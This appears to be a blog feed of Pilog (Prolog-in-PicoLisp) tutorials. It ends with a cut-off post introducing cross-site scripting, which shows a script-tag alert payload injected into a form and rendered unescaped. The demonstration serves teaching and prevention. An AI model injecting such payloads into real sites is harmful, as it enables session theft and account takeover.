DEV Community: Mia

Learning Pilog - 7: Cuts and Negations

Mia — Tue, 02 Aug 2022 13:45:53 +0000

Welcome to the last part of the Prolog Crash Course. Today we will talk about Cuts and Negations.

This post is based on this tutorial.

What is a "Cut"?

In the previous posts, we saw several examples of Prolog's backtracking behaviour. In some examples, we needed a lot of steps to travel the whole search tree. This can be inefficient, for example in cases where we know that there is only a single legitimate solution and no need to search further.

The cut operator T is designed to control the backtracking behaviour in order to increase efficiency. Let's look at an example.

We define a predicate maxi/3: the first two arguments define a range of numbers, and the third argument is equal to the maximum value of these two. In other words, this fact should return T:

: (? (maxi 5 1 5))
-> T

while these ones are NIL:

: (? (maxi 2 3 2))
-> NIL
: (? (maxi 2 3 5))
-> NIL

Of course we can also query the maximum:

: (? (maxi 2 3 @Max))
 @Max=3
-> NIL

Now let's define maxi. We want to compare two numbers @X and @Y. To do this, we can call a PicoLisp function. The corresponding clause has three parts:

the ^ symbol in the CAR,
the PicoLisp program body in the CDDR,
the variable to which the result is unified in the CADR.

(be maxi (@X @Y @Y)
   (^ @ (<= @X @Y)) )  

(be maxi (@X @Y @X)
   (^ @ (> @X @Y)) )

We don't really care for the result as such, this is why the variable @ is anonymous.

Prolog tests two cases: first if @X <= @Y, and then if @X>@Y. Where is the problem?

Our definition is not wrong, but it is unefficient. If the first clause already returns T, there is actually no need to test for the second condition. The first and second clause are mutually exclusive. In this case, the cut operator comes in handy.

With the following notation, we can tell Prolog to stop if the first clause evaluates to T:

(be maxi (@X @Y @Y)
   (^ @ (<= @X @Y))
   T)

This type of cut is called a green cut, because there is no influence on the program output itself if you remove the cut symbol T.

On the other hand, red cuts are cuts that causes a program change. These cuts can be dangerous and need to be tested well.

Negation as a failure

There are two kinds of negations in formal logic. Strong negation means that a statement is considered as false only if it can be proven to be false. On the other hand, weak negation means that if a statement cannot be proven true, it is considered as false. Latter one is also called negation as a failure.

(In Prolog, this is implemented as **negation as failure* operator and can be written as \+)*.

Why do we need it? We can implement it to describe "except" statements, such as: "Mary likes all animals except insects". In Pilog, we can implement it using the cut operator and the built-in predicate (fail):

# Mary likes all animals except insects.
(be likes (Mary @X)
   (insect @X)
   T
   (fail) )

(be likes (Mary @X)
   (animal @X) )

where animals are:

(be animal (@X) (insect @X))
(be animal (@X) (pet @X))
(be animal (@X) (cattle @X))

(be insect (Spider))
(be pet (Cat))
(be pet (Dog))
(be cattle (Cow))

Let's test it:

: (? (likes Mary Cat))
-> T

: (? (likes Mary Spider))
-> NIL

Congratulations, with this post we have finished the Pilog introduction. In the next posts, we will see how we can embed it into PicoLisp and use it for database queries.

Sources

http://www.let.rug.nl/bos/lpn//lpnpage.php?pagetype=html&pageid=lpn-htmlch10

Learning Pilog - 6: More Lists

Mia — Sun, 17 Jul 2022 09:24:43 +0000

In the last post, we showed how lists look like and discussed recursion concepts and the member predicate. Today we will look into some further list functions: appending and reversing, and the concept of accumulators.

This post is based on this tutorial.

The `append` predicate

Another built-in predicate in Pilog is the "append" predicate, which takes three arguments: The first two are the sublists and the third one is the concatenated list.

: (? (append (a b) (c) @X))
 @X=(a b c)
-> NIL

Let's see how many possibilities we have to create [a,b,c] out of two sublists:

: (? (append @X @Y (a b c)))
 @X=NIL @Y=(a b c)
 @X=(a) @Y=(b c)
 @X=(a b) @Y=(c)
 @X=(a b c) @Y=NIL
-> NIL

Let's now take a look at the definition of append (you can find it in the pilog.l library file of your PicoLisp installation). Like member, it is defined recursively. The base case is appending a list @L to an empty list NIL, which means that the result is equal to the final list @L.

(be append (NIL @X @X))

If we are at the base case, the resulting list is equal to the second argument. Now, if the first argument only had one item @A, the new list would be equal to the second argument (now called @Y) prepended by the head of of the first list, right? And this can be repeated recursively, like this:

(be append ((@A . @X) @Y (@A . @Z)) (append @X @Y @Z))

So, to be precise, the (Prolog) predicate name append was maybe not the best choice. concatenated would have fit better (see SWI prolog docs). Let's trace what is happening:

: (? append (append (a b) (c) @X))
2 (append (a b) (c) (a . @Z))
2 (append (b) (c) (b . @Z))
1 (append NIL (c) (c))
 @X=(a b c) 
-> NIL

The first list is reduced down to an empty list, then the second argument is set equal to the third argument. After that, the third argument is "filled up" until we reach the final result.

As you can see, it works, but it takes a lot of steps and can become quite unefficient quickly.

The `reverse`predicate

Let's look at another predicate called reverse (not built-in in pilog). It returns true if the elements of the first argument are in reverse order compared to the second argument:

: (? (reverse (a b c) @X))
 @X = (c b a)

We could implement it using append again with a recursive approach: starting from an empty list and then building it up by concatenating the head.

(be reverse (NIL NIL))

(be reverse ((@A . @X) @R)
   (reverse @X @Z)
   (append @Z (@A) @R))

However, due to the low efficiency of append, this is not to be recommended. Let's find a better approach.

Using an accumulator

A better idea is to use an accumulator to solve this task. An accumulator is basically a list that "takes up" the elements that are processed.

(be accRev ((@H . @T) @A @R)
   (accRev @T (@H . @A) @R) )

(be accRev (NIL @A @A))

The result (which is the third argument) corresponds exactly to the reversed list. So all we need to do is then to define our (reverse (@L @R)) predicate as follows:

(be reverse (@L @R)
   (accRev @L NIL @R))

Let's trace it in order to check if it does what we think it does:

: (? reverse accRev ( reverse (a b c) @X))
1 (reverse (a b c) @R)
1 (accRev (a b c) NIL @R)
1 (accRev (b c) (a) @R)
1 (accRev (c) (b a) @R)
2 (accRev NIL (c b a) (c b a))
 @X=(c b a)
-> NIL

The advantage is that the result is directly available after the last step, while our "naive" reverse needed to travel the whole recursion tree back up.

Example: Palindrome Checker

Speaking of reversed lists, one example should not be missing: How to write a simple palindrome checker. Actually we have all we need already except for the actual palindrome predicate which only takes one argument, a list:

(be palindrome (@L)
   (reverse @L @L) )

For reverse, we can use one of our previously defined predicates. Let's test it:

: (? (palindrome ( r o t a t o r)))
-> T

: (? (palindrome ( a b c d e f g)))
-> NIL

You can find the sources for all examples here.

In the last post of the Prolog Crash Course series, we will take a look at "Cuts and Negations".

Sources

https://www.swi-prolog.org/pldoc/man?predicate=append/3

Learning Pilog - 5: Lists

Mia — Thu, 14 Jul 2022 11:39:01 +0000

Today we will talk about an important data structure which is often used in Pilog programming: Lists.

This post is based on this tutorial.

What is a list in Pilog?

Basically, it's the same like in PicoLisp: A sequence of elements. Here are some examples:

(John Vincent Jules  Yolanda)
(John (robber Honey_Bunny) @X 2 John)
()
( () (dead z) (2 (b c)) () @Z (2 (b c)))

(the empty list () is equivalent to NIL).

From the examples we learn:

list elements can be a mix of data structures, like numbers (2), variables (@X, complex terms ((dead @Z).
a list can have duplicated values.
an empty list is still a list.
lists can be nested: (2 (b c)).

A list can be divided by the built-in dot operator .. By default, it splits the list in two parts: the head, which is the first element and the tail, which is a list of the remaining elements.

: (? (equal (@X . @Y) (John Vincent Jules Yolanda)))
 @X=John @Y=(Vincent Jules Yolanda)
-> NIL

: (? (equal (@X . @Y) (John Vincent)))
 @X=John @Y=(Vincent)
-> NIL

As you can see, the tail of a list is always a list, even if there is only a single element inside. So, what is head and tail of an empty list?

: (? (equal (@X . @Y) ()))
-> NIL

An empty list can't be split up.

However, we don't always have to split up between the head and tail. We can also customize it further:

: (? (equal (@X @Y . @W) (John Vincent Jules Yolanda)))
 @X=John @Y=Vincent @W=(Jules Yolanda)
-> NIL

Now we have the first and second element stored in variables.

Or, if we only cared for the third element and don't need all the rest, we could also use the anonymous variable @:

: (? (equal (@ @ @Z . @) (John Vincent Jules Yolanda)))
 @Z=Jules
-> NIL

The `member` predicate

Pilog has a built-in predicate called member which takes two arguments: an element and a list. The usage is pretty straightforward:

Query: Is john a member of the list?

: (? (member John (John Vincent Jules Yolanda)))
-> T

Its function is defined in the pilog.l library file:

(be member (@X (@X . @)))
(be member (@X (@ . @Y)) (member @X @Y))

These two lines use the recursive structures of list to find out if an element is a member or not. How does it work?

The first line merely checks if the first list element is equal to @X.
The second element splits the list in head and tail. We know that the head is not @X, otherwise we would have already received T after the first line. So we can try our luck with the tail: member @X @Y).

Example: A small Translator

Let's say we have a "dictionary" with the numbers from one to nine in German and English:

(be tran (eins one))
(be tran (zwei two))
(be tran (drei three))
(be tran (vier four))
(be tran (fuenf five))
(be tran (sechs six))
(be tran (sieben seven))
(be tran (acht eight))
(be tran (neun nine))
(be tran (zehn ten))

Let's write a Pilog script that translates a list of German number words to the corresponding list of English number words and vice versa. The structure should be like this:

(? (listtran (eins neun zwei) @X)) should return @X = (one nine two), and (? (listtran (@X (one nine two))) should return @X=(eins zwei neun).

Let's implement our listtran predicate. We start with the base case: The translation of an empty list - if we have nothing to translate, the translated side will also be empty. The empty list is equivalent to NIL.

(be listtran (NIL NIL))

Now let's say we have exactly one item (which means it's the head of the list). In this case, we can just look it up in our tran dictionary that we defined above:

(be listtran ((@Hg . @Tg) (@He . @Te))
   (tran @Hg @He)

@Hg/@Tg stands for Head-German, Tail-German, @He/@Te for the English equivalent.

Now we have the translation of the first list element. The only thing we still need to do is travel down our list until the remaining list is empty.

(be listtran (NIL NIL))

(be listtran ((@Hg . @Tg) . (@He  . @Te))
   (tran @Hg @He)
   (listtran @Tg @Te) )

That's it!

: (? (listtran (eins zwei drei) @X))
 @X=(one two three)
-> NIL

You can find the finished script in this folder.

In the next post, we will study recursive patterns for nested lists.

Sources

http://www.let.rug.nl/bos/lpn//lpnpage.php?pagetype=html&pageid=lpn-htmlch4

Learning Pilog - 4: Recursion

Mia — Mon, 13 Jun 2022 14:16:47 +0000

In the last post, we discussed briefly the backtracking search algorithm. Let's explore this topic a little further as it's an important concept in Pilog programming.

This post is based on this tutorial.

A recursive example

Let's illustrate the concept of recursion on a little silly example. Let's say we define two rules for @X "digesting" @Y: either @X has just eaten @Y, or @X has eaten something that has eaten @Y.

(be is_digesting (@X @Y)
   (just_ate @X @Y) )

(be is_digesting (@X @Y)
   (just_ate @X @Z)
   (is_digesting @Z @Y) )

Now let's travel up a whole food chain. A mosquito has been biting John. That mosquito got then eaten by a frog who got eaten by a stork.

(be just_ate (Mosquito (blood John)))
(be just_ate (Frog Mosquito ))
(be just_ate (Stork Frog))

Now, what is the Stork digesting? Let's ask Pilog!

:  (? (is_digesting Stork @X))
 @X=Frog
 @X=Mosquito
 @X=(Blood John)
-> NIL

The stork is digesting a frog, a mosquito, and John's blood. Bon appetit!

The order matters

The digestion example was pretty straightforward. However, one thing needs to be understood when we talk about recursion: The order matters - not for the underlying logic, but for the computation in Pilog.

We said, something is digesting @X if:

it has eaten @X or
has eating something that has eaten @X.

From logic point of view, we could also reverse 1. and 2., and nothing will change.

(be is_digesting (@X @Y)
   (just_ate @X @Z)
   (is_digesting @Z @Y) )

(be is_digesting (@X @Y)
   (just_ate @X @Y) )

The output is the same as in the previous question, just top-down: We get the lowest level first.

:  (? (is_digesting Stork @X))
 @X=(Blood John)
 @X=Frog
 @X=Mosquito
-> NIL

Why? Because Pilog is checking if there is a successor ((just_ate @X @Z)) before it checks the direct connection (just_ate @X @Y). This corresponds to a different traversal in a tree search (some examples can be found in the PicoLisp example of this Rosetta code task).

How NOT To Do It

Now let's try another variant which also seems okay from logic point of view:

(be is_digesting (@X @Y)
   (is_digesting @Z @Y) 
   (just_ate @X @Z) )

(be is_digesting (@X @Y)
   (just_ate @X @Y) )

What is different? Instead of checking first if an item @Z has been eaten by @X, we check if @Z is digesting @Y. We run our same query again - unfortunately, this calculation never terminates!


: (? (is_digesting Stork @X))
 @X=Frog
 @X=Mosquito
 @X=(blood John)

Instead of terminating, the REPL keeps on printing empty lines and we have to cancel with ^C. Let's trace it again to see what is happening. Again, we can print out the current rules with (rules <predicate(s)>):

: (rules 'is_digesting 'just_ate)
1 (be is_digesting (@X @Y) (just_ate @X @Y))
2 (be is_digesting (@X @Y) (is_digesting @Z @Y) (just_ate @X @Z))
1 (be just_ate (Mosquito (blood John)))
2 (be just_ate (Frog Mosquito))
3 (be just_ate (Stork Frog))

Now we start the query in trace mode, i.e. (? <predicate(s)> (<predicate> <args>)). The beginning looks OK:

: (? is_digesting just_ate (is_digesting Stork @X))
1 (is_digesting Stork @Y)
3 (just_ate Stork Frog)
 @X=Frog

@X is unified with Frog due to the first clause of is_digesting and the third clause of the just_ate predicate.

2 (is_digesting Stork @Y)
1 (is_digesting @X @Y)
1 (just_ate Mosquito (blood John))
2 (just_ate Frog Mosquito)
3 (just_ate Stork Frog)
 @X=Mosquito

Then the Mosquito is found using the second rule of the is_digesting predicate, which is looking for an @Y that is currently being digested. The Mosquito is digested by the frog (Rule 2). Similarly, (blood John) is also found.

However, if we then press <Enter>, we get a neverending loop of printouts of the following lines:

2 (is_digesting @X @Y)
1 (is_digesting @X @Y)
1 (just_ate Mosquito (blood John))
2 (just_ate Frog Mosquito)
3 (just_ate Stork Frog)
2 (just_ate Frog Mosquito)
3 (just_ate Stork Frog)
3 (just_ate Stork Frog)

What is happening? Like in the examples above, Pilog is trying to find something that "just ate" @Y. But since there is no termination condition for the loop, Pilog tries to recursively replace @Y by something that is "not Stork" in order to find a solution, and gets into an infinite loop.

This is called left recursion and is the root cause of our problem.

Example: Travel plans

Now let's use recursion to solve this little task: Using Pilog to tell us if we can get from A to B using the pre-defined resources.

(be directTrain (Saarbruecken Dudweiler))
(be directTrain (Forbach Saarbruecken))
(be directTrain (Freyming Sorbach))
(be directTrain (StAvold Freyming))
(be directTrain (Fahlquemont StAvold))
(be directTrain (Metz Fahlquemont))
(be directTrain (Nancy Metz))

Obviously, we can directly travel between two cities if there is a direct train.

(be travelBetween (@X @Y)

In case there is no direct train, we can solve it by recursion: We search for another station @Z that is reachable from @X, and check if that station @Z is connected to @Y:

(be travelBetween (@X @Y)
   (directTrain @X @Z)
   (travelBetween @Z @Y))

Now let's quickly consider what happens if we implement the other way round. Probably if there's a train from X to Y, then there should also be a train from Y to X, right?

So does that mean that we can do something like this - expanding our previous example by simply swapping @X and @Y in each line?

(be travelBetween (@X @Y)
   (directTrain @X @Y))

(be travelBetween (@Y @X)
   (directTrain @Y @X))

...

Unfortunately not. Since we can go in both directions, we can end up in infinite loops, travelling between X and Y and neever getting any further.

In order to implement something like this, we need to be able to "cut" a search tree after a given result - we will discuss in a further post how to do this.

In the next post, we will see how to work with lists in Pilog, a concept that we also frequently see in "normal" PicoLisp.

Sources

Learning Pilog -3: Unification and Proof Search

Mia — Thu, 09 Jun 2022 17:05:06 +0000

In the last post, we have seen how we can create a knowledge base and run queries on it. Today we will try to understand how Prolog computes the result of a query.

This chapter is based on this Prolog tutorial.

What is Unification?

Let's check the definition for unification:

Two terms unify if they are the same term or if they contain variables that can be uniformly instantiated with terms in such a way that the resulting terms are equal.

Sounds complicated, let's check it step by step. "Two terms unify if they are the same term". That is actually trivial. We can test that with the built-in predicate equal/2 (/2 means that the predicate takes two arguments):

: (? (equal John John))
-> T
: (? (equal John Susie))
-> NIL

Let's define a knowledge base as follows:

(be house_elf (Dobby))
(be witch (Hermione))
(be witch (Rita_Skeeter))
(be wizard (Harry))

(be magic (@X)
   (or
      ((house_elf @X))
      ((wizard @X))
      ((witch @X)) ) )

We open the knowledge base with pil magic.l + in the REPL. Now we can write a query for magic. The defined rule says that magic is true if @X is either a house_elf, a wizard or a witch.

: (? (magic @X))
 @X=Dobby
 @X=Harry
 @X=Hermione
 @X=Rita_Skeeter
-> NIL

From the output above we can see that @X unifies with with Dobby, Harry, Hermione and Rita_skeeter. To understand what is happening, let's use some additional tracing features of pilog.

First of all, we can check the defined rules with the rules function:

: (rules 'magic)
1 (be magic (@X) (or ((house_elf @X)) ((wizard @X)) ((witch @X))))
-> magic

We see that in this case there is only one rule for magic, with three subclauses which are connected by or. Now let's trace it using (? <predicate(s)> ( <predicate> <arg1> ...)):

: (? magic house_elf wizard witch (magic @X))
1 (magic @X)
1 (house_elf Dobby)
 @X=Dobby
1 (wizard Harry)
 @X=Harry
1 (witch Hermione)
 @X=Hermione
2 (witch Rita_Skeeter)
 @X=Rita_Skeeter

With this we are tracing the predicates magic, house_elf, wizard and witch. We see that magic only appears at the very beginning, after that the other predicates are executed. Pilog tries to unify @Xwith the first known fact which is defined in the house_elf predicate, which returns Dobby. Thus Dobby can be unified with @X.

After that, Pilog moves on to the next predicate, wizard, and then witch.

What is happening here? Pilog is doing a backtracking tree search.

This is an important concept which we will further explore in the next post when we will talk about recursion.

Example: Crossword Puzzle

Now let's illustrate the unification process at a little more interesting example: A simple crossword puzzle for six italien words: astante, astoria, baratto, cobalto, pistola, statale. They should be arranged in the following grid:

How can we solve this with help of Pilog?

First, let's define the knowledge base. We know that we have six words with seven letters each. Let's define it like this: first comes the full word, after that comes each letter as single argument.

(be word (astante a s t a n t e))
(be word (astoria a s t o r i a))
(be word (baratto b a r a t t o))
(be word (cobalto c o b a l t o))
(be word (pistola p i s t o l a))
(be word (statale s t a t a l e))

Now we can define the rule for our crossword. Let's start with the left half of the clause: we want a valid crossword solution with six words @V1-3, @H1-3.

(be crossword (@V1 @V2 @V3 @H1 @H2 @H3)

Basically we have only one rule: The crossword solution is valid if the letters at the intersections are identical. If you check the grid, you will agree that this means that the 2nd, 4th and 6th letter of each vertical and horizontal word must match. On the other hand, we don't care about the 1st, 3rd, 5th and 7th letter. The "don't care"-letters can be written as @ - a so-called anonymous variable.

(be crossword (@V1 @V2 @V3 @H1 @H2 @H3)
   (word @H1 @ @H12V12 @ @H14V22 @ @H16V32 @)
   (word @H2 @ @H22V14 @ @H24V24 @ @H26V34 @)
   (word @H3 @ @H32V16 @ @H34V26 @ @H36V36 @)
   (word @V1 @ @H12V12 @ @H22V14 @ @H32V16 @)
   (word @V2 @ @H14V22 @ @H24V24 @ @H34V26 @)
   (word @V3 @ @H16V32 @ @H26V34 @ @H36V36 @) )

where @H12V12 is the second letter of the first horizontal and first vertical word, @H14V22 is the fourth letter of the first horizontal and the second letter of the second vertical word, and so on.

Now we can feed this to Pilog and query the solution. We get two valid results:

: (? (crossword @V1 @V2 @V3 @H1 @H2 @H3))
 @V1=astante @V2=baratto @V3=statale @H1=astante @H2=baratto @H3=statale
 @V1=astoria @V2=baratto @V3=statale @H1=astante @H2=cobalto @H3=pistola 
-> NIL

I think this example illustrates the power of Pilog in a very nice way: You just need to feed in the facts and the desired target, and you can get all solutions instantely without caring too much about what is happening internally.

You can find the knowledge base magic.l and crossword.l here.

In the next post we will go deeper into recursion, one of the most important concepts in Pilog/Prolog.

Sources

Learning Pilog - 2: Facts, Rules, Queries

Mia — Mon, 06 Jun 2022 13:32:34 +0000

This post follows the tutorial from "Learn Prolog Now!", Chapter 1.

The goal of this post is to introduce the basic concept and syntax of Pilog and to write some first small programs.

The Knowledge Base

In imperative programming, the programmer literally tells the computer what to do step by step. In logical programming it works differently: The programmer writes everything they know into a file and then creates a query on it. The program then deducts logically from the given facts if a statement can be true or false. The file with all the known facts is called the knowledge base.

The knowledge base contains facts and rules. We can work with them by using queries. Facts, rules and queries are clauses. Let's see how they can look like.

Facts

Facts are used to state that things are unconditionally true. For example, let's write the following statements in Pilog (you can start the REPL with pil +):

: (be likes (John Susie))                   # John likes Susie 
: (be likes (@X Susie))                      # Everyone likes Susie 
: (be likes (John @Y))                       # John likes everybody

John and Susie are constants, likes is a predicate. Constants can start with an uppercase or lowercase letters (unlike in Prolog, where constants need be lowercase).

On the other hand, @X and @Y are variables. All variables start with an @ symbol.

Rules

Rules state things that are conditionally true depending on the given rules.

# X and Y are friends if they like each other
(be friends (@X @Y)
   (likes @X @Y)
   (likes @Y @X) )

# X hates Y if X does not like Y. 
(be hates (@X @Y)
   (not (likes @X @Y)) )

# X and Y are enemies if they don't like each other.
(be enemies (@X @Y)
   (not (likes @X @Y))
   (not (likes @Y @X)) )

Let's call the predicate names with the dependencies friends (@X @Y) the "left side" and the following statements the "right side" of a clause (this terminology comes from the mathematical notation of logic terms).

We can read the rules as: If the left side is true, then the right side is true. This notation is called a Horn clause. In Horn clause logic, the left hand side of the clause is the conclusion, and must be a single positive literal. The right hand side contains the premises.

In boolean logic, statements can be linked with and or or. The "and" is expressed by two consecutive statements in Pilog (see examples), the "or" using the or function. The negation of a statement is not.

Creating the knowledge base

Now let's write the following statements into a file called friends.l.

(be likes (John Susie))
(be likes (John Pizza))
(be likes (Susie John))

(be friends (@X @Y)
   (likes @X @Y)
   (likes @Y @X) )

(be hates (@X @Y)
   (not (likes @X @Y)) )

(be enemies (@X @Y)
   (not (likes @X @Y))
   (not (likes @Y @X)) )

We have six clauses: three facts and three rules. This is our knowledge base. Let's open it in PicoLisp:

$ pil friends.l +

Now we can run queries no our knowledge base.

Running queries

We can run interactive queries in the REPL with ?:

: (? (likes John Susie))
-> T
: (? (friends John Susie))
-> T

Susie and John are friends because they mutually like each other.

Now let's try to query for something where we don't have any information about.

: (? (likes Susie Pizza))
-> NIL
? (? (not (likes Susie Pizza)))
-> T

As you can see in the following example, if something cannot be proven correct, then Pilog/Prolog conclude that it is wrong. This is called strong negation. See the following example:

: (? (enemies Susie Pizza))
-> T

We don't know if Susie likes Pizza, and we also don't know if the Pizza likes Susie. Therefore the logical deduction concludes they must be enemies.

This is probably not what we intended. There are alternative ways to define weak negation (if something cannot be proven false, it is correct)
that we will talk about in a later post. For the moment, keep in mind that anything not defined is considered as NIL.

Working with variables

Now let's write a more interesting one. Let's ask Pilog to return everything that John likes. This "everything" will be represented by a variable in our query. Pilog recognizes variables by the @ symbol at the beginning.

: (? (likes John @X))
 @X=Susie

John likes Susie: In other word, we can say that the term (likes John @X) unifies with the term (likes John Susie) with (@X = Susie). If we now press <Enter>, we will get additional results:

: (? (likes John @X))
 @X=Susie
 @X=Pizza
-> NIL

What if we ask for predicates that are not defined in the knowledge base?

: (? (love John Susie))
-> NIL

The query returns NIL. Similarly when the number of arguments is not matching to the defined predicate:

: (? (likes John Susie Pizza))
-> NIL

So everything we haven't defined is simply NIL (note that this is different to Prolog where we would receive errors for these cases).

With this, we have already covered the basic Pilog syntax. In the next post we will see how the unification and proof search process actually works.

The friends.l file can be found here.

Sources

Learning Pilog - 1: A Short Introduction to Prolog

Mia — Mon, 30 May 2022 14:10:36 +0000

Before we actually start off with Pilog, I thnk it will be good to take a few minutes to talk about Prolog, which is the basis of Pilog.

A brief history of PROLOG

The Prolog programming language appeared in 1972. It was developed and implemented in Marseille, France, by Alain Colmerauer and Philippe Roussel, in collaboration with Robert Kowalski of the University of Edinburgh. Even today two main dialects, one originating from Marseille, one from Ediburgh, exist.

Prolog had a major role in the 1980's in the development of expert systems and artificial intelligence. In 1982, the Japanese government launched the Fifth Generation Computer Systems Initiative, aiming to lead the world in artificial intelligence and smart machines, and the chosen tool to meet this target was logic programming. As reaction to that, a similar European project called Esprit was launched, both of them leading to an increased research and development into Prolog.

Fun fact: Lisp was developed in the US, while Prolog was developed in Europe, and this lead to a kind of nationalistic preference for either of these languages in the field of artificial intelligence. Let's take the best from both worlds for Pilog!

Still today, Prolog is the most important and popular logic programming language and used in research and education, although it is rarely seen in industrial applications. It has had significant influence on other languages such as Clojure and Erlang.

Prolog is well-suited for specific tasks that benefit from rule-based logical queries such as searching databases, voice control systems, and filling templates.

How much Prolog is needed for Pilog?

In order to understand Pilog, I went through the free online version of Learn Prolog Now! as a reference for the next posts.

The Learn Prolog Now! course is structured in 12 chapters, of which we will pick the following 7 most important ones to understand Pilog:

Chapter 1 Facts, Rules, and Queries
Chapter 2 Unification and Proof Search
Chapter 3 Recursion
Chapter 4 Lists
Chapter 6 More Lists
Chapter 10 Cuts and Negations.

Basically we will follow the content of these chapters, only that the syntax will be translated from Prolog to Pilog.

This means that the following chapters will be skipped. The main reason why we not need them is because we also have the possibility to call PicoLisp functions from within Pilog.

Chapter 5 Arithmetic
Chapter 7 Definite Clause Grammars
Chapter 8 More Definite Clause Grammars
Chapter 9 A Closer Look at Terms
Chapter 11 Database Manipulation and Collecting Solutions
Chapter 12 Working With Files

Installing Pilog and Prolog

Pilog comes with the standard pil21-distribution, there is no need for an additional installation. If you are using an older version of PicoLisp (for example from the Ubuntu repository or similar), consider to update the newest one (instructions here).

I also installed Prolog while I created the Pilog introductory posts. If you want to compare the Pilog syntax to Prolog or make some tests, I recommend to install Prolog on your system. There are two major implementations available: SWI-Prolog and SICStus Prolog, which is commercial. So unless you want to pay 165€ per year, you should choose SWI-Prolog.

On Linux systems, you can install it with the following commands:

$ sudo apt-add-repository ppa:swi-prolog/stable
$ sudo apt-get update
$ sudo apt-get install swi-prolog

or you can get it from the GIT repository. There are also stable releases for Windows and MacOSX, and a termux-binary for Android.

In the next post, we will really start with Pilog and learn about the basic facts, rules, and queries.

Sources

Logical Programming in PicoLisp: Learning Pilog!

Mia — Wed, 25 May 2022 08:59:39 +0000

Welcome to the "Programming in Pilog" series!

I guess it's quite likely that you have never heard of Pilog before. Short definition: By using Pilog, we can do logical programming within PicoLisp.

In this post, we will explain what logical programming actually is and where it is used within the PicoLisp world.

What is Pilog?

Pilog is short for Picolisp Pro*log, and is a *Prolog engine for PicoLisp.

As you might know, Prolog was the first logical programming language and is still one of the most important ones. Logical programming can be very powerful in certain application fields, for example for writing queries to a database. It enables us to use simple and expressive statements to perform complex tasks.

First of all, let's try to understand where we can find logical programming languages within the world of programming paradigms.

A quick overview over programming paradigms

On the highest level, there are two types of programming paradigms, i. e. ways to classify a programming style. On the one side we have imperative languages, and on the other side declarative languages. From a very high-level classification, it could look like this:

Note that most languages are not restricted to a single programming paradigm. However due to grammar and implementation, some are more suitable to write code in certain paradigms than in others.

Generally, the philosophy of an imperative language is that the programmer tells the computer how to accomplish a task, while a declarative language describes what should be accomplished.

Most modern programming language (like C, Java, Python) are based on imperative paradigms. The imperative approach is easier to learn because it is closer to what is happening inside the computer, and because you have a step-by-step way to describe a problem.

The downside is that it often takes much more steps to solve a task - compare the PicoLisp solution of the Knapsack Problem to the Java one!

The increased verbosity can make the code harder to read, scale and maintain.

The Declarative Programming Paradigm

On the other side, we have declarative programming with its two main branches: Functional programming and logical programming.

As this blog is called "Functional Programming in PicoLisp", you should have noticed by now that PicoLisp is well suited to write functional code, although also imperative paradigms like object-orientation are supported.

Unfortunately we didn't bring a clear definition about what functional programming actually is yet. Clearly it's centered around functions, but you can do more with it than just calculations in a mathematical sense. This is certainly worth its own post and I'm working on it! As a short working definition, let's stick with Eric Normand from Lispcast.com:

Functional programming is a programming style that makes a clear distinction between actions, calculations and data.

(If this does not convince you, I recommend to check out his podcast "Thoughts on functional programming" or wait for my blogpost on that topic 😋).

Logical Programming

Now let's take a look at the other main branch of declarative programming: Logical Programming. As the name already tells us, it is a paradigm that is based on formal logic, with its first and still most important representative Prolog.

The main idea behind logical programming is to feed a set of things you know to your system (the "Knowledge Base"), and then to test any hypothesis based on that knowledge base.

Internally, this is accomplished by backtracking strategies (recursion). On the other hand, familiar things that we know from imperative programming won't work in Prolog, like for example loops. This means basically that it requires a completely different mindset to write a Prolog program than to write, say, a Java Script program.

If you already know Prolog, Pilog will be easy for you - it is basically the same language, it just looks a little different. However, besides to what Prolog can offer, we can also call PicoLisp functions from within Pilog, which can be very useful.

If you don't know Prolog yet, this series will be very interesting for you. Logial programming is really a completely new thing and requires a different kind of thinking. I think it's fun!

Next steps

First of all, we will take a quick (historical) look into Prolog, as it is the inspiration for Pilog. Then we will first cover the basic syntax and concepts of Pilog. After that we will show how to use it within PicoLisp, for example to solve classical logical algorithms (like the "Zebra riddle"), and for database queries.

Sources

https://www.ionos.com/digitalguide/websites/web-development/imperative-programming/
Icons made by Becris from www.flaticon.com

How to hack the PicoLisp Database (and how to prevent it!) - An Introduction to XSS Attacks

Mia — Fri, 13 May 2022 14:32:59 +0000

Today we will discuss some basic security aspects of database user interfaces. The principles are not at all restricted to PicoLisp, it's a general (and quite wide-spread) vulnerability: Cross-Site Scripting.

What are Cross-Site Scripting attacks?

Cross-Site Scripting (XSS) attacks are a type of injection in which malicious script can be injected. XSS vulnerabilities take advantage of a flaw in user input sanitization to "write" JavaScript code to the page and execute it on the client side, leading to several types of attacks.

XSS vulnerabilities can facilitate a wide range of attacks, which can be anything that can be executed through browser JavaScript code. A basic example of an XSS attack is having the target user unwillingly send their session cookie to the attacker's web server. Another example is having the target's browser execute API calls that lead to a malicious action, like changing the user's password to a password of the attacker's choosing. There are many other types of XSS attacks, from Bitcoin mining to displaying ads.

XSS vulnerabilities are one of the most common flaws in web applications - Top 3 according to the Open Web Application Security Project (OWASP) after "Broken Access Control" and "Cryptographic Failures".

An example

Instead of theory, let's start with an example. Actually we have introduced a great example for XSS vulnerability in the post "Creating HTML Forms 2". (Did you notice?)

If you check the source code, this is basically what we do: We save the user input in two global variables *FirstName and *LastName and output it via prinl.

(prinl "Hello, " *FirstName " " *LastName "!")

prinl takes any kind of expression without modifications. Let's see what that means!

You can try it yourself here.

The program expects a name as input. But what if we write a JavaScript expression? It will be executed! Let's check the HTML source code to understand what's happening (Ctrl-U in Firefox).

On the input field side, all special characters are replaced: the input is sanitized. The browser will not execute this as JavaScript.

<input type="text" name="*FirstName" value="&lt;script&gt;alert(&quot;You've been hacked!&quot;)&lt;/script&gt;" size="30" onchange="return fldChg(this)" class="field"/>

However, the <h3> tag below is not:

<h3 class="d-flex m-1 justify-content-center">Hello, <script>alert("You've been hacked!")</script> B!</h3>

If JavaScript is enabled in the browser, this will enable the user to execute any types of JavaScript commands.

In this case in the example, the JavaScript is only executed in the attacker's browser. The malicious input is not saved on the backend side. This is called a reflected, non-persistent XSS.

In the example above, there is not much harm the attacker can do, because the execution of JavaScript commands are limited to the browser, and what's the point in hacking your own machine anyway?

So let's now take a look at a dangerous one: stored XSS attacks.

Stored XSS Attacks

An XSS-Attack is called stored if the input is saved somewhere in the backend, for example in the database. In this case not only the attacker, but everyone viewing the page is potentially affected. In order to make that possible, two vulnerabilities must occur at the same time:

The input data is directly written into the database without checks, and
The input data is directly evaluated in the code.

Let's take a look at the following, vulnerable version of our family-edit.l program. It is identical to the previous line except for one additional line:

